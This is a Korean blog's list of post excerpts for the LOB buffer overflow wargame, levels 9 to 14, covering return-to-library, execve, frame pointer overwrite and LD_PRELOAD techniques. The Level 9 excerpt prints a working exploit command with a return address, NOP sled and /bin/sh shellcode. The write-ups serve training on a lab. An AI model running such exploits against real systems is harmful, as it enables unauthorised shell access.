본문 바로가기
반응형

LOB20

LOB Level 14 bugbear bugbear -> giant 로 접속합니다. 우선 코드를 보는데 rtl을 system함수가 아닌 execve를 사용해서 풀어야하는 문제입니다. 우선 execve함수의 주소를 찾아냅니다. execve를 사용하여 bin/sh를 띄우려면 execve("/bin/sh", {"/bin/sh", 0}, 0) 형태가 되어야 합니다.... 우선 null값의 주소를 구합니다. 0xbffffffc 입니다. (모두 0 이네요 ㅎㅎ) 그런데 bin/sh와 0을 같이 넣어주어야 합니다. 여기서 저는 argv[0]을 생각했습니다. 바로 파일명을 심볼릭 함수로 주어서 넣는 거죠 ㅎㅎ 파일명은 0xbffffff5부터 시작하네요. 아마 실제 파일로 하면 약간의 차이가 있을거라고 예상합니다. bin/sh의 주소를 찾기위해 코딩을 하고.. 2021. 8. 10.
LOB Level 13 darkknight darkknight -> bugbear 로 접속합니다. 힌트에 RTL 1이라고 되어있네요 RTL을 구글링해서 공부햇습니다. RTL이란 return to library의 줄임말로 리턴주소에 공유라이브리러리의 시스템함수의 주소를 덮고 인자로 "/bin/sh"을 주소를 넣어주는 방식입니다. - 쉘코드 없이 공격이 가능합니다. - 시스템함수의 인자는 +8 위치에 넣어줘야 합니다. 즉 공격을 할때 공유라이브러리의 시스템함수를 호출하고 (4) 더미값 (4) 그리고 인자값을 넣어주는 것입니다. (실제로 시스템 함수를 호출하는 코드를 작성하여 분석해보면 알 수 있습니다.) RTL공격 코드는 버퍼값 + 시스템함수 주소(4) + 더미값(4) + /bin/sh 주소 입니다. 우선 시스템함수의 주소를 알기위해 bugbear를.. 2021. 8. 10.
LOB Level 12 golem golem -> darknight 로 접속합니다. 코드를 살펴보면... strncpy(buffer, src, 41); 40바이트만 할당되어 있는데 1바이트 더 주어지네요. 1바이트의 오버플로우를 해야할듯 합니다. 위에 힌트내용에 FPO를 검색해보니 Frame Pointer Overwriting 이라는 Fake Ebp의 하위 개념인 공격 기법이 있었습니다. 자세한 내용 참고 - http://s2kiess.blog.me/220070346721 gdb로 분석해보면 서브함수의 leave에 브레이크를 걸고 r `python -c 'print "A"*40 + "B"'` 로 실행하여 보면 0xbffffa42를 보면 뒤에 1바이트가 B로 된걸 알수 있습니다. 버퍼 앞에는 버퍼를 가르키는 0xbffffa74가 들어있습니.. 2021. 8. 10.
LOB Level 11 skeleton skeleton -> golem 으로 접속합니다. 소스 코드를 보는데... 웃음만 나오네요 하하하 RET 영역을 빼고 모두다 초기화 시켜버리네요 그래도 혹시나 싶으니 golem을 golem1으로 복사하여 gdb로 열어봅시다. 프로그램이 끝나기 직전에 break 를 걸고 실행하면 쉘코드를 어디에다 올려야할지 감이 안잡히네요 다시금 메모리 구조를 생각한 결과 공유 라이브러리 말고는 없었습니다 공유라이브러리 + LD_PRELOAD 를 이용하여 후킹을 해야한다는 걸 알았습니다. 우선 공유라이브러리에 대해 다시 공부했습니다. 공유라이브러리는 심볼(함수,변수)들을 프록램이 시작하기 전에 로드하여 필요로 할 때마다 연동되는 동적인 라이브러리이다. 메모리, 용량 절약과 라이브러리를 어제든지 업데이트 할 수 있는 융통성.. 2021. 8. 10.
LOB Level 10 vampire vampire -> skeleton 으로 접속합니다. 소스코드를 봅니다. 모든 argv를 다 초기화 시키네요... 혹시나 싶어서 이전에 사용했던 익스플로잇 코드를 사용해봤지만 역시나... 계속 삽질, 고민 하던중에 일단 스택을 뒤져보자는 생각을 합니다. 모든 argv가 초기화 되더라도 무엇이 남은게 있어야 풀 수 있겠다 싶었습니다. (만약 남은 것도 없으면 구글링 하려고 했었는데) 우선 퍼미션 문제때문에 문제파일을 복사하고 끝나는 부분 main+368에 브레이크를 걸어줍니다. 그냥 끝까지 다보려고 x/1000x $ebp를 했습니다. 아니 그런데 이럴수가 다행히 끝부분에 무언가가 있습니다. 이를 다시 확인해봅니다. (x/100x, x/100c, x/100s로 확인하던중) 현제 파일 명이 나온걸 발견! ar.. 2021. 8. 9.
LOB Level 9 troll troll -> vampire 로 접속합니다. 소스파일을 봅시다. 우선 argc 4바이트의 argv[2]의 주소 +99974바이트의 쓰레기값 + 25바이트의 쉘코드 형태로 익스플로잇코드를 작성해서 카피한 파일에 시도하니 잘 되네요. ./vampire `python -c 'print "A"*44+"\x9b\x75\xfe\xbf"'` `python -c 'print "\x90"*99974 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 2021. 8. 9.
반응형